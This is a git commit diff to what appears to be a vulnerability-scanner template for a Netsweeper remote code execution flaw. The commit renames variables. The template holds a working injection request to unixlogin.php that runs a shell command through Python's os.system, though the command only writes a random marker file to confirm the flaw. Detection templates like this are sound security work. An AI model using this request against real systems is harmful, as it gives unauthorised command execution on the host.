misc update

patch-1
sandeep 2023-07-20 14:52:46 +05:30
parent 81bc53273e
commit dd0c565377
1 changed files with 4 additions and 4 deletions

View File

@ -24,13 +24,13 @@ info:
tags: cve,cve2020,netsweeper,rce,python,webadmin
variables:
randomstring: {{randstr}}
payload: echo "{{base64(randomstring)}}" | base64 -d > /usr/local/netsweeper/webadmin/out
rand_str: "{{randstr}}"
cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
http:
- method: GET
path:
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(payload))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/out"
headers:
@ -41,7 +41,7 @@ http:
- type: word
part: body_2
words:
- "{{randomstring}}"
- "{{rand_str}}"
- type: status
status: